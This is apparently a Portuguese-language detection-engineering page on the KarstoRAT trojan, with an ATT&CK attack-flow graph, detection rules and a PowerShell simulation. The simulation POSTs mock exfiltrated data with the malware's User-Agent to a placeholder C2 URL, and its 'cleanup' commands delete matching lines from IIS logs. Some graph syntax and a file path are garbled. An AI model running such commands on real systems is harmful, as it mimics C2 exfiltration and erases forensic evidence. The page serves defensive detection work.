Uma Visão Detalhada sobre o Malware KarstoRAT: Inovador e Furtivo
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
KarstoRAT é um trojan de acesso remoto recentemente identificado, capaz de coletar informações do sistema, capturar áudio e feeds de webcam, tirar capturas de tela, registrar digitações e roubar tokens de autenticação. O malware mantém persistência, se comunica com seu servidor de comando e controle sobre HTTP através de um user agent personalizado distinto, e pode recuperar cargas adicionais para atividades posteriores. Ele também contém funções disruptivas, incluindo inversão de tela e reprodução forçada de áudio.
Investigação
A LevelBlue SpiderLabs examinou o fluxo de execução do KarstoRAT, comunicações de comando e controle, rotinas de exfiltração e métodos de persistência. O relatório destaca um loop infinito de dois segundos usado para manter o malware em execução e descreve os INICIALIZACAO_LIGADA and INICIALIZACAO_DESLIGADA comandos que controlam o comportamento de inicialização automática. Pesquisadores também documentaram a capacidade do malware de alterar o papel de parede da área de trabalho e remover-se quando instruído.
Mitigação
Esforços de detecção devem concentrar-se no user agent HTTP único do malware, entradas de registro suspeitas relacionadas a inicialização e comportamento anormal de loop de processos. Defesas de endpoint também devem observar a atividade em estilo sem arquivo descrita no relatório e bloquear binários desconhecidos entregues através do falso engodo do mercado Roblox.
Resposta
Se o KarstoRAT for identificado, isole o dispositivo afetado, preserve evidências forenses incluindo tráfego HTTP e artefatos de inicialização, e remova todos os mecanismos de persistência. As organizações devem alterar as credenciais expostas e continuar monitorando por quaisquer cargas secundárias que possam ter sido baixadas após o comprometimento inicial.
"gráfico TB %% Definições de classe classDef action fill:#99ccff classDef persistence fill:#ffcc99 classDef credential fill:#ff9999 classDef collection fill:#ccffcc classDef discovery fill:#ccccff classDef impact fill:#ffb347 classDef defense fill:#d3d3d3 %% Definições de nó action_user_execution["<b>Ação</b> – <b>T1204.001 Execução por Usuário: Link Malicioso</b><br/>A vítima clica em um link falso do mercado Roblox (engenharia social)."] class action_user_execution action persistence_boot_script["<b>Persistência</b> – <b>T1037 Scripts de Inicialização ou Logon</b><br/>O malware se registra em INICIALIZACAO_LIGADA/DESLIGADA para rodar automaticamente na inicialização ou logon."] class persistence_boot_script persistence credential_keylogging["<b>Acesso a Credenciais</b> – <b>T1056.001 Captura de Entrada: Keylogging</b><br/>O malware registra digitações para capturar credenciais e outros dados sensíveis."] class credential_keylogging credential collection_screen_capture["<b>Coleta</b> – <b>T1113 Captura de Tela</b><br/>O malware regularmente captura capturas de tela da área de trabalho da vítima."] class collection_screen_capture collection collection_audio_capture["<b>Coleta</b> – <b>T1123 Captura de Áudio</b><br/>O malware grava áudio do microfone do sistema."] class collection_audio_capture collection collection_video_capture["<b>Coleta</b> – <b>T1125 Captura de Vídeo</b><br/>O malware acessa a webcam para gravar vídeo da vítima."] class collection_video_capture collection –>|enables| discovery_process process discovery["<b>Descoberta</b> – <b>T1057 Descoberta de Processos</b><br/>O malware enumera processos em execução para identificar ferramentas de segurança ou aplicativos valiosos."] class discovery_process discovery discovery_hardware["<b>Descoberta</b> – <b>T1592.001 Coleta de Informações do Host da Vítima: Hardware</b><br/>O malware coleta detalhes de hardware como CPU, RAM e GPU."] class discovery_hardware discovery discovery_software["<b>Descoberta</b> – <b>T1592.002 Coleta de Informações do Host da Vítima: Software</b><br/>O malware reúne versões de software instaladas e patches."] class discovery_software discovery discovery_firmware["<b>Descoberta</b> – <b>T1592.003 Coleta de Informações do Host da Vítima: Firmware</b><br/>O malware extrai informações de firmware e BIOS."] class discovery_firmware discovery discovery_config["<b>Descoberta</b> – <b>T1592.004 Coleta de Informações do Host da Vítima: Configuração do Cliente</b><br/>O malware coleta configurações de configuração como idioma, fuso horário e parâmetros de rede."] class discovery_config discovery impact_remote_desktop["<b>Impacto</b> – <b>T1219.002 Software de Desktop Remoto</b><br/>O malware usa capacidades de desktop remoto para alterar o fundo de tela, inverter o display e trocar botões do mouse."] class impact_remote_desktop impact defense_self_destruct["<b>Evasão de Defesa</b> – <b>T1027.005 Remoção de Indicadores a partir de Ferramentas</b><br/>O malware se autodestrói e remove seus arquivos para apagar evidências."] class defense_self_destruct defense %% Conexões action_user_execution –>|leva a| persistence_boot_script persistence_boot_script –>|permite| credential_keylogging credential_keylogging –>|permite| collection_screen_capture collection_screen_capture –>|permite| collection_audio_capture collection_audio_capture –>|permite| collection_video_capture collection_video_capture –>|permite| discovery_process discovery_process –>|leva a| discovery_hardware discovery_hardware –>|leva a| discovery_software discovery_software –>|leva a| discovery_firmware discovery_firmware –>|leva a| discovery_config discovery_config –>|permite| impact_remote_desktop impact_remote_desktop –>|aciona| defense_self_destruct "
Fluxo de Ataque
Detecções
Escalamento de privilégio (bypass UAC) no FodHelper (via registry_event)
Visualizar
Possíveis Pontos de Persistência [ASEPs – Hive de Software/NTUSER] (via registry_event)
Visualizar
Possível Uso de Schtasks ou AT para Persistência (via cmdline)
Visualizar
Possível Uso de PING para Atraso de Execução (via cmdline)
Visualizar
Binário/Scripts Suspeito no Local de Inicialização Automática (via file_event)
Visualizar
Tentativa de Comunicação de Domínio de Pesquisa de IP Possível (via dns)
Visualizar
Possível Serviço de Túnel de Porta (via dns)
Visualizar
Detecção de Comunicação C2 do KarstoRAT [Conexão de Rede do Windows]
Visualizar
Detecção de Atividades Malware KarstoRAT [Criação de Processo do Windows]
Visualizar
Execução de Simulação
Pré-requisito: A Verificação Prévia de Telemetria e Linha de Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica (TTP) do adversário projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque e Comandos:
O atacante obteve um ponto de apoio na rede da vítima e deseja estabelecer um canal de comando e controle para o KarstoRAT. Para se misturar com o tráfego legítimo, o malware usa uma string User-Agent codificada “SecurityNotifier”. O atacante executa um comando PowerShell no host comprometido que emite um HTTP POST para o servidor C2, incorporando o cabeçalho UA. A solicitação inclui uma pequena carga de JSON imitando dados exfiltrados, suficiente para acionar a regra sigma. -
Script de Teste de Regressão:
# simulação de C2 de KarstoRAT – PowerShell $c2Url = "http:///karsto_c2" $payload = @{ host = $env:COMPUTERNAME data = "dados exfiltrados de amostra" } | ConvertTo-Json $headers = @{ "User-Agent" = "SecurityNotifier" "Content-Type" = "application/json" } try { Invoke-WebRequest -Uri $c2Url ` -Method POST ` -Headers $headers ` -Body $payload ` -UseBasicParsing Write-Host "Solicitação C2 enviada." } catch { Write-Error "Falha ao enviar solicitação C2: $_" } -
Comandos de Limpeza:
# Remove solicitação gerada dos logs do IIS (requer direitos de administrador) $logPath = "C:inetpublogsLogFilesW3SVC1" Get-ChildItem -Path $logPath -Filter "*.log" | ForEach-Object { (Get-Content $_.FullName) | Where-Object { $_ -notmatch "SecurityNotifier" } | Set-Content $_.FullName } Write-Host "Logs sanitizados."